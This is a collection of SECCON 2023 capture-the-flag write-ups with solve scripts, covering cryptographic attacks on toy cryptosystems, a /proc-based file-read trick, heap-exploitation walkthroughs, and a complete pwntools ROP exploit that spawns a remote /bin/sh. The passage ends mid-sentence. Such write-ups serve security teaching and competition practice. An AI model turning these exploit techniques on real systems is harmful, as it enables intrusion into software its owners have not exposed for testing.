`(a, pattern, base)` where `a` specifies the number of multiplications to perform, and `pattern` and `base` control the order in which the multiplications happen. The script starts by performing 256 "debug" key exchanges using the small prime $p_d$ = `0xffff_ffff_ffff_fa43`, printing out Alice and Bob's public keys each time, then does a final key exchange with a 2048-bit $p$, using the final shared key to encrypt the flag. 14 | 15 | ## Solution 16 | 17 | The entropoid cryptosystem has been successfully attacked in [this paper](https://eprint.iacr.org/2021/583.pdf). In the attack, the author defines an automorphism $\sigma$ and group operation $\cdot$ such that $x * y = \sigma(x) \cdot y$ and $\cdot$ is an abelian operation. Furthermore, it turns out that it's possible to map entropoid elements to pairs of elements in the multiplicative group mod $p$ via an isomorphism $\iota$, thus reducing the complex entropoid exponentiation process to simple discrete-log mod $p$. For a given $g^A$, the attack produces a pair of integers $(i, j)$ which can be used as the private key and are functionally equivalent to $A$. 18 | 19 | The attack paper even provides functional Sage code, which works pretty much out of the box. However, discrete log mod a 2048-bit prime is not feasible. We observe that all of the random entries in the generalized exponents are generated using Sage's `randrange`, which uses Python's non-cryptographic Mersenne Twister-based RNG. By experimenting with the discrete log operation on known entropoid exponents, we determine that the $a$ of the generalized exponent is always equal to the sum of $i$ and $j$ in the discrete log output. 20 | 21 | We have a total of 256 "debug" rounds. Each round involves producing two private/public keypairs using $p_d$ and printing out the public keys. Thus, we can recover two private $a$s in each round, but not the random pattern. Since $p_d$ is near $2^{64}$, this gives us basically 512 64-bit outputs, which is more than the 624 32-bit outputs necessary to recover the full Mersenne Twister state. 22 | 23 | The full attack proceeds in three steps. In [`step1.sage`](step1.sage), we recover the discrete log values. In [`step2.py`](step2.py) we use these values to recover the RNG state. In [`step3.py`](step3.py) we rerun the original script with the recovered RNG state to recover the shared key and decrypt our flag: `SECCON{The law of entropoid increase postulates the existence of irreversible processes in crypto: the bit numbers of a safe cryptosystem based on DELP can increase, but cannot decrease.}`. 24 | 25 | -------------------------------------------------------------------------------- /seccon2023/crypto_increasing_entropoid/grouplaw.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | # from https://yx7.cc/files/entropoid-attack.tar.gz 3 | 4 | if all(v in globals() for v in 'p a3 a8 b2 b7'.split()): 5 | R = GF(p) 6 | else: 7 | R. = QQ[] 8 | S. = R.fraction_field()[] 9 | T. = R.fraction_field()[] 10 | 11 | xx,yy = (x1,x2), (y1,y2) 12 | uu,vv,ww = (u1,u2), (v1,v2), (w1,w2) 13 | 14 | # formulas from ePrint 2021/469 15 | emul = (a3*(a8*b2-b7)/(a8*b7)+a3*x2+a8*b2*y1/b7+a8*x2*y1, -b2*(a8-a3*b7)/(a8*b7)+a3*b7*y2/a8+b2*x1+b7*x1*y2) 16 | lunit = (1/b7-a3/a8, 1/a8-b2/b7) 17 | linv = ((1-a3*b2-a3*b7*x2)/(a8*(b2+b7*x2)), (1-a3*b2-a8*b2*x1)/(b7*(a3+a8*x1))) 18 | 19 | ev = lambda ff,x,y: tuple(f(*x,*y) for f in ff) 20 | ev1 = lambda ff,x: tuple(f(*x,None,None) for f in ff) 21 | 22 | def invmap(eqs): 23 | assert len(eqs) == 2 and not any(set(yy) & set(eq.variables()) for eq in eqs) 24 | sol = [None] * len(xx) 25 | for eq in Ideal([y-eq for y,eq in zip(yy,eqs)]).groebner_basis(algorithm='toy:buchberger'): 26 | v, = set(xx) & set(eq.variables()) 27 | sol[xx.index(v)] = (v - eq / eq.monomial_coefficient(v)).subs({y1:x1, y2:x2}) 28 | return tuple(sol) 29 | 30 | ################################################################ 31 | 32 | # Murdoch: Quasi-Groups Which Satisfy Certain Generalized Associative Laws, §5 33 | 34 | sigma = ev(emul, xx, lunit) 35 | print('automorphism:', sigma) 36 | assert ev1(sigma, emul) == ev(emul, ev1(sigma,xx), ev1(sigma,yy)) # homomorphism 37 | assert ev1(sigma, sigma) == xx # self-inverse 38 | 39 | gmul = ev(emul, sigma, yy) 40 | print('group multiplication:', gmul) 41 | assert ev(gmul, uu, ev(gmul, vv, ww)) == ev(gmul, ev(gmul, uu, vv), ww) # associative 42 | 43 | gunit = lunit 44 | print('group unit:', gunit) 45 | assert ev(gmul, gunit, xx) == ev(gmul, xx, gunit) == xx # two-sided unit 46 | 47 | ginv = ev1(sigma, linv) 48 | print('group inverse:', ginv) 49 | assert ev(gmul, ginv, xx) == ev(gmul, xx, ginv) == gunit # two-sided inverse 50 | 51 | # entropoid multiplication is just group multiplication tweaked by sigma 52 | assert emul == ev(gmul, sigma, yy) 53 | 54 | # sigma is indeed a group automorphism 55 | assert ev(gmul, sigma, ev1(sigma, yy)) == ev1(sigma, gmul) 56 | 57 | ################ 58 | 59 | # maps to the underlying finite fields 60 | 61 | fgmap = (x1/b7 - a3/a8, x2/a8 - b2/b7) # (Fp*)^2 -> E* 62 | print('map from (Fp*)^2:', fgmap) 63 | gfmap = invmap(fgmap) # E* -> (Fp*)^2 64 | print('map to (Fp*)^2: ', gfmap) 65 | 66 | # our map is a group isomorphism 67 | fmul = (x1*y1, x2*y2) # multiplication in (Fp*)^2 68 | assert ev1(fgmap, fmul) == ev(gmul, fgmap, ev1(fgmap,yy)) 69 | assert ev1(gfmap, gmul) == ev(fmul, gfmap, ev1(gfmap,yy)) 70 | 71 | -------------------------------------------------------------------------------- /seccon2023/crypto_increasing_entropoid/step1.sage: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.path.append("dist") 3 | from problem import * 4 | 5 | p = 18446744073709550147 6 | F = GF(p) 7 | a3, a8, b2, b7 = F(1), F(3), F(3), F(7) 8 | g = (F(13), F(37)) 9 | 10 | load("grouplaw.sage") 11 | 12 | ## adapted from entropoid-attack/attack.sage, https://yx7.cc/files/entropoid-attack.tar.gz 13 | # proj = iota 14 | proj = lambda x: ev1(gfmap,x) 15 | 16 | gen = GF(p).multiplicative_generator() 17 | famap = lambda tup: tuple(t.log(gen) for t in tup) # (Fp*)^2 -> (Z/(p-1),+)^2 18 | afmap = lambda vec: tuple(gen**v for v in vec) # (Z/(p-1),+)^2 -> (Fp*)^2 19 | 20 | conjpair = lambda el: (proj(el), proj(ev1(sigma, el))) 21 | pow2 = lambda gs,es: ev(fmul, *(tuple(t**e for t in g) for g,e in zip(gs,es))) 22 | 23 | gs = conjpair(g) 24 | mat = matrix(map(famap, gs)) 25 | 26 | def do_dlog(Ka): 27 | if isinstance(Ka, EntropoidElement): 28 | Ka = (Ka.x1, Ka.x2) 29 | Ka = tuple(F(x) for x in Ka) 30 | 31 | vec = vector(famap(proj(Ka))) 32 | sol = mat.solve_left(vec) 33 | sol = (sol % (p-1)).change_ring(ZZ) 34 | return sol 35 | 36 | ## dlog every number in the output to leak the a values 37 | params = EntropoidParams( 38 | p=18446744073709550147, # safe prime 39 | a3=1, 40 | a8=3, 41 | b2=3, 42 | b7=7, 43 | ) 44 | E = Entropoid(params) 45 | Eg = E(13, 37) 46 | 47 | import re 48 | for i, row in zip(range(256), open("dist/output.txt")): 49 | ax, ay, bx, by = map(int, re.findall("\d+", row)) 50 | ae = do_dlog((ax, ay)) 51 | be = do_dlog((bx, by)) 52 | print(sum(ae), sum(be)) 53 | -------------------------------------------------------------------------------- /seccon2023/crypto_mystic_harmony/README.md: -------------------------------------------------------------------------------- 1 | ## mystic_harmony - Crypto Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | mystic_harmony was a crypto challenge solved by 10 teams, worth 278 points. 4 | 5 | Description: 6 | 7 | > The spirit world and the human world are two sides of the same coin. A misalignment in the two worlds would be apocalypse. You have been assigned by a witch to investigate the misalignment of the worlds. Report its location and quantity to the witch and bring the world into harmony! 8 | > 9 | > nc mystic-harmony.seccon.games 8080 10 | > 11 | > problem.sage 8eb07c2c37071c9f7515cbfee3c8a737ace703cf 12 | 13 | We're given a server that generates a random problem instance which consists of a 32x32 "map" and an encrypted "treasure box". The generator works over the field K = GF($2^8$) with generator $\alpha$: 14 | 15 | - Generate $H$, a random bivariate polynomial over $K$ of degree 63+63 (terms only go up to $x^{63} y^{63}$). 16 | - Generate $S = H \bmod G$, where $G = \prod_{i=1}^{32} (x - \alpha^i) + \prod_{j=1}^{32} (y - \alpha^j)$. 17 | - Generate $W = H + S$ (note that this is GF($2^8$), so this is also equal to $H - S$). 18 | - Generate $D$, the sum of 16 random terms with random coefficients (i.e. $\sum_{k,l \in T} x^k y^l \alpha^{r_{kl}}$ for a random set of index pairs $T$ where $|T| = 16$). The random process ensures that all 16 values of $k$ are distinct (but $l$ may not be). 19 | - The terms of $D$ are used to calculate an AES encryption key. 20 | - Finally, produce the "map" by evaluating $C = H + S + D$ at $C(\alpha^i, \alpha^j)$ for $1 \le i, j \le 32$. 21 | 22 | ## Solution 23 | 24 | This setup is similar to an error correction code, specifically a Reed-Solomon code. In a typical Reed-Solomon code, we encode the message to transmit as the coefficients of a polynomial $p$, and multiply it by a generator polynomial $g(x) = \prod_{i=1}^{n-k} (x - \alpha^i)$ to get the transmitted polynomial $s$. During transit, $s$ may be corrupted by some noise $e$ to yield the received polynomial $r = s + e$. If the number of non-zero terms in $e$ is small, the Reed-Solomon decoding procedure can be used to recover the original $s$. The number of non-zero terms must be at most $\frac{n - k}{2}$ terms, if the locations (exponents of $x$) are unknown. 25 | 26 | The decoding process starts by evaluating the "syndrome" $S_j = r(\alpha_j)$ for $j = 1, 2, ... n-k$. Since $g$ has roots at all of these points, the correct message will evaluate to all zeros, and so $S_j = e(\alpha_j)$. 27 | 28 | Analogously, in our setup, we are given $C$ evaluated at points $(\alpha^i, \alpha^j)$ for $1 \le i, j \le 32$, and $H + S$ evaluates to zero at all these points by construction of $G$ ($H + S = H - H \bmod G$). Thus, effectively, the "map" values are the syndrome values of $D(\alpha^i, \alpha^j) = \sum_{k,l \in T} \alpha^{ik} \alpha^{jl} \alpha^{r_{kl}}$. 29 | 30 | By fixing a particular value of $j$, we observe that this resolves to $D_{y=\alpha^j} (\alpha^i) = \sum_{k,l \in T} \alpha^{ik} \alpha^{r_{kl} + jl}$, which is precisely the same as a normal Reed-Solomon syndrome calculation. So, for any row of the "witch map", we can apply a syndrome decoder to obtain the $x$-locations $k$, then solve a linear equation to recover $\alpha^{r_{kl} + jl}$. From there, a comparison with the outputs from a second value of $j$ will yield the individual $r_{kl}$ and $l$ values. 31 | 32 | I implemented a Petersen-Gorenstein-Zierler (PGZ) decoder, which works great since we know there are exactly 16 errors (16 distinct values for $x$). Notably, my attack uses only two rows from the "map" to recover the entirety of $D$. 33 | 34 | -------------------------------------------------------------------------------- /seccon2023/crypto_mystic_harmony/solve.sage: -------------------------------------------------------------------------------- 1 | R. = PolynomialRing(GF(2)) 2 | size = 2^8 3 | K. = GF(size, modulus=x^8+x^4+x^3+x^2+1) 4 | 5 | human_world_size = 64 6 | spirit_world_size_param = 32 7 | disharmony_count = 16 8 | 9 | exec(open("sample.txt", "r").read(), globals()) 10 | 11 | def decompress(x): 12 | if x is None: 13 | return K.zero() 14 | return alpha ^ x 15 | 16 | synd = Matrix(K, [[decompress(x) for x in row] for row in witch_map]) 17 | 18 | # PGZ decoder to locate syndromes 19 | v = disharmony_count 20 | # fix y = alpha^1 21 | row = synd[0] 22 | # calculate coefficients of the error locator polynomial 23 | lamb = Matrix([row[i:i+v] for i in range(v)]).solve_right(vector([-row[v+i] for i in range(v)])) 24 | # solve for the error locations 25 | Rk. = PolynomialRing(K) 26 | roots = (1 + sum(lamb[i] * z ^ (v - i) for i in range(v))).roots() 27 | xs = [discrete_log(r, alpha^-1, size - 1) for r, m in roots] 28 | 29 | # recover ys: synd[j][i] = sum((alpha ^ (k*i)) * (alpha ^ (l*j)) * (alpha ^ r[k,l]) for (k,l) in err_locs) 30 | # ysj = [l*j + r[k,l] for (k,l) in err_locs] 31 | ymat = Matrix([[alpha ^ (k * i) for k in xs] for i in range(1, 33)]) 32 | ys1 = [discrete_log(r, alpha, size - 1) for r in ymat.solve_right(synd[0])] 33 | ys2 = [discrete_log(r, alpha, size - 1) for r in ymat.solve_right(synd[1])] 34 | ys = [(b - a) % 255 for a, b in zip(ys1, ys2)] 35 | rs = [(a - b) % 255 for a, b in zip(ys1, ys)] 36 | 37 | # message error recovered 38 | D = sum(((x ^ xi) * (y ^ yi) * (alpha ^ ri)) for xi, yi, ri in zip(xs, ys, rs)) 39 | 40 | 41 | import Crypto.Cipher.AES as AES 42 | from Crypto.Util.number import long_to_bytes 43 | import hashlib 44 | 45 | def make_key(D): 46 | key_seed = b"" 47 | for pos, value in sorted(list(D.dict().items())): 48 | x = pos[0] 49 | y = pos[1] 50 | power = discrete_log(value, alpha, size-1) 51 | key_seed += long_to_bytes(x) + long_to_bytes(y) + long_to_bytes(power) 52 | m = hashlib.sha256() 53 | m.update(key_seed) 54 | return m.digest() 55 | 56 | key = make_key(D) 57 | cipher = AES.new(key, AES.MODE_ECB) 58 | print(cipher.decrypt(treasure_box)) 59 | 60 | # SECCON{I_te4ch_y0u_secret_spell...---number_XIV---Temperance!!!} 61 | -------------------------------------------------------------------------------- /seccon2023/crypto_plai_n_rsa/README.md: -------------------------------------------------------------------------------- 1 | # plai_n_rsa 2 | 3 | We're given a typical RSA encryption challenge, with three differences: 4 | 1. $d$ is given 5 | 1. $n$ isn't given 6 | 1. $p+q$ is given 7 | 8 | We know that $de \equiv 1\ (\mathrm{mod}\ \phi)$, meaning $\phi \cdot x + 1 = de$ for some integer $x$. Thus, 9 | 10 | $$ 11 | \begin{align*} 12 | (de-1) / x &= \phi \\ 13 | &= (p-1)(q-1) \\ 14 | &= pq - p - q + 1 \\ 15 | &= n - (p+q) + 1 16 | \end{align*} 17 | $$ 18 | 19 | and as we're given $d$ and $p+q$, we can solve for $n$ and the plaintext. Because $d < \phi$, we know $x$ has an upper bound of $e$, so we can simply check every possible value of $1 \leq x \lt e$ and see if the resulting plaintext looks like an ASCII flag. 20 | 21 | This takes around 3 seconds, and for $x = 53137$ we find the flag: `SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}`. 22 | 23 | The solve script is [solve.py](solve.py). 24 | -------------------------------------------------------------------------------- /seccon2023/crypto_plai_n_rsa/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | 3 | e=65537 4 | d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 5 | hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 6 | c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 7 | 8 | x = 1 9 | while True: 10 | if (e*d-1)%x == 0: 11 | maybe_n = (e*d)//x + hint - 1 12 | maybe_flag = long_to_bytes(pow(c,d,maybe_n)) 13 | print(x, maybe_flag) 14 | probably_flag = True 15 | for b in maybe_flag: 16 | if b < 32 or b >= 127: 17 | probably_flag = False 18 | break 19 | if probably_flag: 20 | break 21 | x += 1 22 | -------------------------------------------------------------------------------- /seccon2023/crypto_rsa4/README.md: -------------------------------------------------------------------------------- 1 | ## RSA 4.0 - Crypto Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | RSA 4.0 was a crypto challenge solved by 33 teams, worth 164 points. 4 | 5 | Description: 6 | 7 | > A new era has come, RSA 4.0! 8 | > 9 | > dist.tar.gz fac97cdaf64588a1e3189a5f20c09291b99026cb 10 | 11 | This problem implements an RSA-like cryptosystem over the quaternions mod $n$, i.e. the numbers $a + bi + cj + dk$ where $a, b, c, d \in \mathbb{Z}_n$ and $i, j, k$ are square roots of -1 such that $i^2 = j^2 = k^2 = -1$ and $ij=k$, $jk=i$, $ki=j$, $ji=-k$, $kj=-i$, $ik=-j$. $n$ is the product of two 1024-bit primes $p$ and $q$, the exponent is $e = 65537$, and $m \in \mathbb{Z}_n$ is the message. The encryption process computes the quaternion message $M = m + (3m + p + 337q)i + (3m + 13p + 37q)j + (7m + 133p + 7q)k$, then outputs $n$, $e$ and $C = M^e$. 12 | 13 | ## Solution 14 | 15 | Quaternion exponentiation actually occurs within a sub-algebra of the quaternions: the powers of $a + bi + cj + dk$ are of the form $e + f(ai + cj + dk)$, where $a, b, c, d, e, f \in \mathbb{Z}_n$, a fact which can be readily verified by induction. Thus, since our initial $b, c, d$ have a linear relationship, we can solve for $m$, $p$ and/or $q$ by solving a system of linear equations mod $n$. 16 | 17 | This is quite straightforward to do, and there are many possible approaches; I used [`solvelinmod`](https://github.com/nneonneo/pwn-stuff/blob/master/math/solvelinmod.py), and immediately obtained $p$, which thus yields $q$. The order of the quaternion algebra is $q^4$, so I inferred that the multiplicative order divides $p^4 - 1$; thus, we can obtain the decryption exponent $d$ via $ed = 1 \bmod (p^4 - 1) (q^4 - 1)$. Computing $C^d$ yields the message: `SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}`. 18 | 19 | Full solution script in [`solve.sage`](solve.sage). 20 | -------------------------------------------------------------------------------- /seccon2023/misc_readme/README.md: -------------------------------------------------------------------------------- 1 | ## readme 2023 - Misc Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | readme 2023 was a misc challenge solved by 93 teams, worth 104 points. 4 | 5 | Description: 6 | 7 | > Can you read the flag? 8 | > 9 | > `nc readme-2023.seccon.games 2023` 10 | > 11 | > readme2023.tar.gz 94b27f30a219fe4476c3f4c1df0e1fca5dbb2c0b 12 | 13 | We're given the following Python script running on a server: 14 | 15 | ``` 16 | import mmap 17 | import os 18 | import signal 19 | 20 | signal.alarm(60) 21 | 22 | try: 23 | f = open("./flag.txt", "r") 24 | mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ) 25 | except FileNotFoundError: 26 | print("[-] Flag does not exist") 27 | exit(1) 28 | 29 | while True: 30 | path = input("path: ") 31 | 32 | if 'flag.txt' in path: 33 | print("[-] Path not allowed") 34 | exit(1) 35 | elif 'fd' in path: 36 | print("[-] No more fd trick ;)") 37 | exit(1) 38 | 39 | with open(os.path.realpath(path), "rb") as f: 40 | print(f.read(0x100)) 41 | ``` 42 | 43 | This script maps a flag into memory and then lets the user read the first 256 bytes of any file, except files with `fd` or `flag.txt` in the path. 44 | 45 | ## Solution 46 | 47 | `/proc/self/map_files` contains one file for each memory mapping in the process, named with the start and end of the memory region (e.g. `7ff2acb89000-7ff2acb8a000`), so our flag will be in one of these files. However, due to ASLR, we will need to leak the address of the region first. 48 | 49 | Because of the 256-byte limit, `/proc/self/maps` only yields the addresses of the Python binary's memory regions, not any of the mmap regions. We wrote a short script to go through all of the files on a local instance, and found that the file `/proc/self/syscall` contains a pointer that is near the flag's memory address. In fact, the final entry of `/proc/self/syscall` is the address of the program counter during the `read` syscall that is reading the file, which points to the `read` function in libc. Since libraries are allocated with `mmap` too, they are in the same memory region as the mmap'd flag, so the flag region will have an address near the leaked `syscall` address. 50 | 51 | Thus, the exploit is to dump `/proc/self/syscall`, add the fixed offset 0xe9f83 to the last entry and then read the flag's `map_file`: 52 | 53 | ``` 54 | $ nc readme-2023.seccon.games 2023 55 | path: /proc/self/syscall 56 | b'0 0x7 0x562200d0a6b0 0x400 0x2 0x0 0x0 0x7fff685cdda8 0x7fe510a5d07d\n' 57 | path: /proc/self/map_files/7fe510b47000-7fe510b48000 58 | b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n' 59 | ``` 60 | -------------------------------------------------------------------------------- /seccon2023/misc_tokyo_payload/README.md: -------------------------------------------------------------------------------- 1 | # Tokyo Payload 2 | 3 | The simple solidity contract provides the ability to jump anywhere (JUMPDEST) in the smart contract through the `tokyoPayload` function. 4 | Each call to tokyoPayload resets the gas limit by calling `resetGasLimit`, so we need to call resetGasLimit and deletecall in the same call. 5 | The basic strategy is as follows: 6 | 7 | 1. tokyoPayload 8 | 1. resetGasLimit 9 | 1. delegatecall 10 | 11 | We did some fuzzing stuff to match the apporopriate stack fengsui with `cyclic`. 12 | 13 | ```solidity 14 | function tokyoPayload(uint256 x, uint256 y) public { 15 | require(x >= 0x40); 16 | resetGasLimit(); 17 | assembly { 18 | calldatacopy(x, 0, calldatasize()) 19 | } 20 | function()[] memory funcs; // lol 21 | uint256 z = y; 22 | funcs[z](); 23 | } 24 | 25 | function load(uint256 i) public pure returns (uint256 a, uint256 b, uint256 c) { 26 | assembly { 27 | a := calldataload(i) 28 | b := calldataload(add(i, 0x20)) 29 | c := calldataload(add(i, 0x40)) 30 | } 31 | } 32 | 33 | function createArray(uint256 length) public pure returns (uint256[] memory) { 34 | return new uint256[](length); 35 | } 36 | 37 | function resetGasLimit() public { 38 | uint256[] memory arr; 39 | gasLimit = arr.length; 40 | } 41 | 42 | function delegatecall(address addr) public { 43 | require(msg.sender == address(0xCAFE)); 44 | (bool success,) = addr.delegatecall{gas: gasLimit & 0xFFFF}(""); 45 | require(success); 46 | } 47 | ``` 48 | 49 | - Solve script in https://gist.github.com/junomonster/dea9a13e9473e636a41e01b39ba7c95b 50 | -------------------------------------------------------------------------------- /seccon2023/pwn_blackout/README.md: -------------------------------------------------------------------------------- 1 | ## blackout - Pwn Problem - Writeup by Robert Xiao (@nneonneo) 2 | 3 | blackout was a misc challenge solved by 7 teams, worth 322 points. 4 | 5 | Description: 6 | 7 | > Letter to the Black World 8 | > 9 | > nc blackout.seccon.games 9999 10 | > 11 | > blackout.tar.gz b54c89b6e2629898acea225798043c9f5b359d33 12 | 13 | We're given an x86-64 Linux binary. A later version of the handout included a Dockerfile and C source code, but we did not use these. 14 | 15 | ## Reversing 16 | 17 | The binary is a simple "memo" service providing three operations on an array of 8 "letters": 18 | 19 | 1. Write: allocate a letter of any length up to 65536 to a selected index. The letter is filled with zeros, and then the user can write one line of text up to the letter size (minus one) into the region. Write does not check to see if a letter is already allocated before overwriting it. 20 | 2. Blackout: specify a target letter index and a "word" (one line of at most 31 characters). `memmem` is used to repeatedly locate the word, which is then replaced with `*` characters. The redacted letter is printed out at the end. 21 | 3. Delete: free a letter, setting the pointer to NULL. 22 | 23 | The bug in the binary is that the return value from `memmem`, which is a pointer, is truncated down to an `int`, as can be seen in Ghidra: 24 | 25 | ```c 26 | pvVar2 = memmem(cur,(size_t)(letter[idx] + (letter_len - (long)cur)),word,word_len); 27 | pvVar2 = (void *)(long)(int)pvVar2; 28 | ``` 29 | 30 | This bug can be caused by e.g. failing to `#include `, as C will default to an `int` return type (as it turns out, this is exactly the bug in the C source file which was provided later). 31 | 32 | The binary is compiled without PIE, so it will be loaded at address 0x400000. The heap will consequently be allocated at a small random offset past the binary, up to a maximum address of around 0x2000000. Thus, the heap pointers will usually fit inside the 32-bit range. 33 | 34 | ## Exploitation 35 | 36 | We can allocate 0x100000000 (4GB) of memory by repeatedly leaking max-size letters, pushing our heap pointers past the 32-bit range. When `memmem` is applied to these pointers, the pointers will be truncated down to the 32-bit range, allowing us to overwrite other heap structures. 37 | 38 | The bug allows us to write any number of `*` (0x2a) bytes to `heap_addr & 0xffffffff` where `heap_addr` is within a letter allocation. Because of ASLR, we cannot initially write to the binary, only other heap structures. 39 | 40 | The basic flow of the exploit is as follows: 41 | 42 | - Allocate and free two small chunks at the start of the heap. 43 | - Allocate 8 smallbin-sized chunks, then free them to get a libc pointer into the heap 44 | - Allocate the first small chunk again, which will be used for leaking. 45 | - Allocate ~65534 chunks of size 65519, which gets us to approximately `0x100000000 + heap_base`. 46 | - Use the bug to overwrite the null terminators of the first small chunk, then "blackout" that chunk with a dummy word to leak heap and libc pointers 47 | - Do some allocations to control the second-lowest-byte of the top address, then allocate some chunks near 0x1....2a00 48 | - Use the bug to overwrite a next pointer in tcache to point inside a controlled chunk, then allocate the fake chunk to control the tcache next pointer 49 | - At this point, we can allocate anywhere we want; I chose to allocate near `&letters`, overwrite the array to leak a stack address, then do a second fake allocation into the stack and ROP to win. 50 | - Get the flag from a shell: `SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}` 51 | 52 | See the full exploit in [`exploit.py`](exploit.py). 53 | -------------------------------------------------------------------------------- /seccon2023/pwn_datastore1/README.md: -------------------------------------------------------------------------------- 1 | # DataStore1 2 | 3 | ## Overview 4 | 5 | As name suggests, it is a simple data store program where data is saved in form 6 | of a tree - each node can be one of the allowed types. Following is the 7 | important type definitions from the source: 8 | 9 | ```c 10 | typedef enum { 11 | TYPE_EMPTY = 0, 12 | TYPE_ARRAY = 0xfeed0001, 13 | TYPE_STRING, 14 | TYPE_UINT, 15 | TYPE_FLOAT, 16 | } type_t; 17 | 18 | typedef struct { 19 | type_t type; 20 | 21 | union { 22 | struct Array *p_arr; 23 | struct String *p_str; 24 | uint64_t v_uint; 25 | double v_float; 26 | }; 27 | } data_t; // size = 0x10 28 | 29 | typedef struct Array { 30 | size_t count; 31 | data_t data[]; 32 | } arr_t; // size == sizeof(Array) + count * sizeof(data_t) == 8 + count * 0x10 33 | 34 | typedef struct String { 35 | size_t size; 36 | char *content; 37 | } str_t; 38 | ``` 39 | 40 | The program allows listing and editing the tree. List will recursively print 41 | the entire tree and edit allows updating or freeing nodes. Root node however 42 | cannot be freed. 43 | 44 | Two other important things to know about is: 45 | - Remove operation will not return error if the current type is 46 | invalid/unknown, and always reset type to `TYPE_EMPTY` at the end. 47 | - Edit prints original value of the node it is currently operating on 48 | 49 | 50 | ## Bug 51 | 52 | The `edit` operation does the array index check in the following way: 53 | 54 | ```c 55 | static int edit(data_t *data){ 56 | ... 57 | printf("index: "); 58 | unsigned idx = getint(); 59 | if(idx > arr->count) // [0] 60 | return -1; 61 | ... 62 | } 63 | ``` 64 | 65 | At `[0]`, there is an off-by-one error where the comparison will allow `idx == 66 | arr->count`, allowing OOB array access. 67 | 68 | 69 | ## Exploit 70 | 71 | Overall idea for exploiting the bug is to get allocated chunk of 72 | `String->content` immediately after the `Array` object. Because `Array` object 73 | will always be of size `0x.8`, this means the `data.type` field for `index == 74 | count` will overlap with size of next chunk and the `data.p_str` will be 75 | overlap with first 8 bytes of content buffer. This gives arbitrary read/write. 76 | 77 | 78 | Exploitation steps: 79 | 80 | 1. Start by making a root node as an array 81 | 2. Make some string allocations and free them (mainly to avoid any random 82 | allocation to happen between step 3 and 4) 83 | 3. Allocate a new array node `A1` in root array. 84 | 4. Allocate a new string `S1` with content length such that it gets allocated 85 | right after `A1` 86 | 5. Remove `index : A1.count` in `A1`. This will fix the type (originally size 87 | of next chunk - unknown type) to `TYPE_EMPTY`. 88 | 6. Allocate new string object in `A1` at `index: A1.count` (overwrite first 8 89 | bytes of `S1`'s content) 90 | 7. Leak heap address 91 | 8. Now we can do arbitrary read by modifying `S1->content` to `content+8> 92 | ` (craft and point to fake `String` 93 | object) followed by doing `edit+update` on `A1[A1.count]`. 94 | - We cannot do read via `list` here because `list` doesn't do OOB access of 95 | the array, and to preserve old value, we can update with the values we 96 | just read 97 | 9. Remaining exploit is simply to get libc unsorted bin address on heap, 98 | environ, and overwrite stack for ROP. 99 | 100 | Please see [exploit.py](exploit.py) for detailed exploit. 101 | -------------------------------------------------------------------------------- /seccon2023/pwn_rop-2.35/README.md: -------------------------------------------------------------------------------- 1 | # rop-2.35 2 | 3 | ## Overview 4 | 5 | We are given a small Linux binary with no PIE or stack canaries. The 6 | binary calls `system` then calls `gets` on a stack buffer: 7 | 8 | ```c 9 | #include 10 | #include 11 | 12 | void main() { 13 | char buf[0x10]; 14 | system("echo Enter something:"); 15 | gets(buf); 16 | } 17 | ``` 18 | 19 | ## Exploit 20 | 21 | The crux of the challenge is to control the first argument to a call to 22 | `system`. 23 | 24 | When `main()` returns, `rax` contains address of the buffer. There is a 25 | tempting `mov rdi, rax; call system` gadget, but that doesn't work 26 | because when `system` pushes registers onto the stack, that overwrites 27 | whatever command we just read into the buffer. 28 | 29 | Running the challenge in gdb, we find that when `main` returns, 30 | `rdi` contains a writeable address inside of libc. We return to `gets` 31 | to write a command into it, then return to the 32 | `mov rdi, rax; call system` gadget we identified. The exploit includes 33 | an extra `ret` gadgets to maintain proper stack alignment. 34 | 35 | The exploit prepends a number of slashes to the beginning of the command 36 | beause we observed that something in libc would write 0x2e (.) near the 37 | libc address that we write the command to. Luckily, no null bytes are 38 | written, so our command is preserved. 39 | 40 | Exploit: 41 | ```python 42 | #!/usr/bin/env python3 43 | from pwn import * 44 | context.update(arch='amd64', os='linux') 45 | p, u = pack, unpack 46 | 47 | r = remote('rop-2-35.seccon.games', 9999) 48 | 49 | gets = 0x401060 50 | ret = 0x401110 51 | mov_rdi_rax_call_system = 0x401169 52 | 53 | payload = b'A' * 0x18 54 | payload += p64(gets) 55 | payload += p64(ret) 56 | payload += p64(mov_rdi_rax_call_system) 57 | r.sendline(payload) 58 | 59 | r.sendline('////////////////////bin/sh') 60 | 61 | r.interactive(prompt='') 62 | ``` 63 | 64 | The flag for this challenge references some sort of CSU trick, but we 65 | didn't do anything like that :-) 66 | -------------------------------------------------------------------------------- /seccon2023/pwn_selfcet/README.md: -------------------------------------------------------------------------------- 1 | We have BOF in a struct that contains a function pointer and arguments for the function. The function pointer and the second argument can be fully controlled, and the first 4 bytes of the first argument can be controlled. However, we can only jump to 